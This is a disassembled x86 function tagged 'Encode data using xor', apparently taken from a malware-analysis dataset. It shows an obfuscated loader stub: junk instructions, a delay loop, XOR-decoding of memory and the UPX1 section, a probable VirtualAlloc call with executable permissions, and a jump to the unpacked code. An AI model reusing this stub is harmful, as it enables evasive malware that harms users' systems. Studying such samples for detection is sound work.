Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x659e50b3
add ecx, 0xec846345
and ecx, edx
popal
not edx
mov ecx, edx
add ecx, edx
mov ebx, 0
mov edi, ecx
dec esi
add esi, 0x81c9052d
mov esi, 0x48cd5674
mov eax, edi
add esi, 0xee956539
sub esi, 0xdb53aa5e
or edx, esi
mov ecx, eax
or esi, edx
or esi, edx
add ebx, 1
mov edx, esi
dec esi
and edx, edx
cmp ebx, 0x1002099
jne 0xa789c6
not esi
mov edx, 0x5026ce16
and edx, esi
add edx, ecx
add ecx, 1
sub edx, 1
mov ebx, 0xa78796
dec eax
sub edx, eax
mov edi, 0xa7898a
mov edx, esi
dec edx
mov ecx, dword [ebx]
or eax, esi
sub eax, esi
and ecx, 0xff
sub esi, 0x409cccce
sub esi, edx
xor dword [edi], ecx
sub eax, esi
mov esi, edx
add edi, 1
not esi
mov eax, 0x1d3a7457
add ebx, 1
sub eax, 0xd8870acb
mov esi, 0xbf59c29e
cmp edi, entry0
jl 0xa78a28
or eax, eax
or edx, eax
inc esi
or esi, esi
sub edx, esi
add ebx, edx
add edi, 0x257655c3
mov esi, 0xa7898e
or edx, edx
add edi, 0xe657d526
inc ecx
mov esi, dword [esi]
dec ebx
dec ebx
add edx, 0xe6316c35
mov esi, dword [esi]
mov edi, 0xd15eb4cd
sub ebx, 1
mov edx, edi
push esi
add edi, ebx
inc edx
add edi, 0xfe2ea95b
mov esi, 0xa7898a
sub ebx, edx
add edx, 0xeba021f5
mov esi, dword [esi]
inc ebx
or edx, edi
mov esi, dword [esi]
sub edx, 0xcc9cbf3e
sub edi, 0x2853d4fb
and edx, edi
push 0xa78992
mov ebx, ecx
add edi, edx
call esi
and ecx, ebx
sub edi, 0x5bff5e46
not edx
pop esi
sub edi, 0xa8602680
dec ecx
push 0xa7899f
or edi, ecx
add edx, edi
push eax
add ecx, edi
sub edi, 1
call esi
add edi, 0x1020eca7
sub edx, 0x57acc573
push 0x40
add ecx, edx
dec edi
push 0x3000
add edx, 1
add ebx, edi
push 0x20000de8
sub edi, edx
dec edx
and edx, ecx
push 0
not edi
dec edx
add edx, ebx
call eax
inc ecx
not ecx
add eax, 0x20000d71
mov edx, 0x948306f
add ebx, 0xf3a8f68
mov esi, 0x34e50491
sub edx, edi
sub ecx, 0x22cf32ce
mov dword [eax], esi
add ecx, 0xdd60aeaf
add ecx, edi
sub ebx, 0x9adee4aa
mov esi, dword [eax]
add edx, 1
dec edi
cmp esi, 0x34e50491
je 0xa78b81
mov edx, 0
mov bl, byte [edx]
add ebx, edi
add edx, 0x42f8af57
sub edx, ebx
not ecx
mov edx, edi
mov edi, 0xcf9cd577
sub ecx, 0x9551418d
inc ecx
mov ebx, section.UPX1
inc edx
mov ecx, 0x97dc4c7f
mov eax, 0xa78795
mov ecx, 0x7f737561
and edx, edx
mov edi, 0
sub ecx, edx
sub ecx, 0x8b94732f
add ecx, edx
mov esi, 0xa78796
add edx, 0xbc6ba844
dec ecx
lea esi, [esi + edi]
add ecx, ecx
add edx, 1
mov esi, dword [esi]
mov edx, 0x3936eed5
mov edx, 0xebd659e8
sub ecx, edx
and esi, 0xff
sub edx, 0x938f8b9c
sub edx, 0x9f97ed97
dec edx
inc edi
add edx, ecx
add edx, edx
cmp edi, 0x1f4
jne 0xa78c0b
mov edi, 0
sub edx, 0xd2bd0958
sub ecx, edx
and edx, ecx
or edx, ecx
add edx, ecx
xor dword [ebx], esi
add edx, 0x141fc71f
not ecx
add ecx, 1
add ebx, 2
sub edx, ecx
not edx
cmp ebx, eax
jl 0xa78bc1
dec ecx
sub edx, 0x4b8daf64
add edx, edx
add edx, 0xf1918720
mov ecx, section.UPX1
inc edi
inc eax
and eax, edi
mov esi, section.UPX1
sub eax, edi
mov eax, 0xae645c05
mov edx, 0xa78795
mov eax, 0xd4a18a35
add eax, edi
mov edi, 0x2b009c20
mov ebx, 0
add edi, eax
sub eax, edi
mov bl, byte [esi]
mov eax, 0x32e79dae
not eax
add edi, 0x8a44eaf3
mov byte [ecx], bl
or eax, eax
sub eax, 0xb7d1a3d2
and edi, edi
add ecx, 1
sub edi, 1
and edi, eax
sub edi, eax
add esi, 2
add eax, eax
add eax, eax
cmp esi, edx
jle 0xa78c79
mov eax, 0x634660e7
sub edi, eax
or eax, edi
add edx, ecx
mov edx, 0x8c3cdbbf
push 0x8dc6a0
dec edx
inc ecx
ret